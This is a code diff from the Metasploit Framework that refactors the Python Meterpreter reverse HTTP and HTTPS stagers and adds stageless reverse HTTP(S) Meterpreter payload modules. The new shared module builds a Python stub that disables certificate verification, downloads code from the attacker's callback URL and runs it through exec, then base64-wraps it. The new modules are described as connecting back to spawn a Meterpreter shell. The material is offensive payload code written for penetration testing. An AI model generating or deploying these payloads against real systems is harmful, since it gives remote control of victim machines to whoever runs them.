diff --git a/Gemfile.lock b/Gemfile.lock index 3bc00c0f47..3f154d58cc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern (= 1.0.0) metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.17) + metasploit-payloads (= 1.0.18) metasploit_data_models (= 1.2.9) msgpack network_interface (~> 0.0.1) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.17) + metasploit-payloads (1.0.18) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index c18769f950..e4cba42dec 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -285,23 +285,14 @@ protected blob = "" blob << obj.generate_stage( + http_url: url, + http_user_agent: datastore['MeterpreterUserAgent'], + http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], + http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'], uuid: uuid, uri: conn_id ) - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) - } - - # Patch all the things - blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - - unless datastore['PayloadProxyHost'].blank? - proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" - blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") - end - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index c2bae66e02..13ce0cde2c 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -5,7 +5,9 @@ module Msf::Payload::Python # # Encode the given python command in base64 and wrap it with a stub - # that will decode and execute it on the fly. + # that will decode and execute it on the fly. The code will be condensed to + # one line and compatible with all Python versions supported by the Python + # Meterpreter stage. # # @param cmd [String] The python code to execute. # @return [String] Full python stub to execute the command. diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 6cdd35169c..1cda34d971 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader # configuration # # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :http_proxy_host The host to use as a proxy for + # HTTP(S) transports. + # @option opts [String] :http_proxy_port The port to use when a proxy host is + # set for HTTP(S) transports. + # @option opts [String] :http_url The HTTP(S) URL to patch in to + # allow use of the stage as a stageless payload. + # @option opts [String] :http_user_agent The value to use for the User-Agent + # header for HTTP(S) transports. # @option opts [String] :stageless_tcp_socket_setup Python code to execute to # setup a tcp socket to allow use of the stage as a stageless payload. # @option opts [String] :uuid A specific UUID to use for sessions created by @@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) + } + if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end @@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # patch in the stageless http(s) connection url + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != '' + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != '' + + if opts[:http_proxy_host].to_s != '' + proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}" + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") + end + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? socket_setup = opts[:stageless_tcp_socket_setup] diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb new file mode 100644 index 0000000000..f363a6cc67 --- /dev/null +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -0,0 +1,132 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +module Payload::Python::ReverseHttp + + include Msf::Payload::UUID::Options + + def initialize(info = {}) + super(info) + register_options( + [ + OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]), + OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]) + ], self.class) + end + + # + # Generate the first stage + # + def generate(opts={}) + opts.merge!({ + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + user_agent: datastore['MeterpreterUserAgent'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + # required opts: + # host, port, scheme + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << generate_callback_uri(opts) + target_url + end + + # + # Return the longest URI that fits into our available space + # + def generate_callback_uri(opts={}) + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + uri_req_len = 5 + end + + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len) + end + + def generate_reverse_http(opts={}) + # required opts: + # proxy_host, proxy_port, scheme, user_agent + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + proxy_host = opts[:proxy_host] + proxy_port = opts[:proxy_port] + + urllib_fromlist = ['\'build_opener\''] + urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != '' + urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https' + urllib_fromlist = '[' + urllib_fromlist.join(',') + ']' + + cmd = "import sys\n" + cmd << "vi=sys.version_info\n" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" + cmd << "hs=[]\n" + if opts[:scheme] == 'https' + # Context added to HTTPSHandler in 2.7.9 and 3.4.3 + cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" + cmd << "\timport ssl\n" + cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" + cmd << "\tsc.check_hostname=False\n" + cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" + cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" + end + + if proxy_host.to_s != '' + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n" + end + + cmd << "o=ul.build_opener(*hs)\n" + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n" + cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n" + + py_create_exec_stub(cmd) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # The final estimated size + space + end + +end + +end + diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index c693829829..2f9f79877c 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp end end - diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 1e000e0215..537b2283fa 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -68,7 +68,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.17' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.18' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..44369a42a9 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..efdecac0bc --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -0,0 +1,48 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_http' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 50190 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_http(opts={}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ + http_url: generate_callback_url(opts), + http_user_agent: opts[:user_agent], + http_proxy_host: opts[:proxy_host], + http_proxy_port: opts[:proxy_port] + }) + + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 1157fb49f0..97874d9e5c 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,12 +5,16 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 - CachedSize = 466 + CachedSize = 494 include Msf::Payload::Stager + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -23,90 +27,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) - end - - # - # Constructs the payload - # - def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "http://[#{lhost}]" - else - target_url = "http://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << '/' - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - cmd = "import sys\n" - if proxy_host == '' - cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" - else - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" - cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub - end - - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len) end end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 5da0a623d7..bad7e55fea 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,14 +5,16 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid/options' +require 'msf/core/payload/python' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 762 include Msf::Payload::Stager - include Msf::Payload::UUID::Options + include Msf::Payload::Python + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -25,103 +27,13 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) end # # Constructs the payload # def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "https://[#{lhost}]" - else - target_url = "https://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - if proxy_host == '' - urllib_fromlist = "['HTTPSHandler','build_opener']" - else - urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']" - end - - cmd = "import sys\n" - cmd << "vi=sys.version_info\n" - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" - cmd << "hs=[]\n" - # Context added to HTTPSHandler in 2.7.9 and 3.4.3 - cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" - cmd << "\timport ssl\n" - cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" - cmd << "\tsc.check_hostname=False\n" - cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" - cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" - - if proxy_host != '' - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o=ul.build_opener(*hs)\n" - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub - end - - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_uuid_mode(:init_python, uri_req_len) + super({scheme: 'https'}) end end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 9938443e12..e8a6622bb0 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter_bind_tcp' end + context 'python/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_http' + end + + context 'python/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_https' + end + context 'python/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [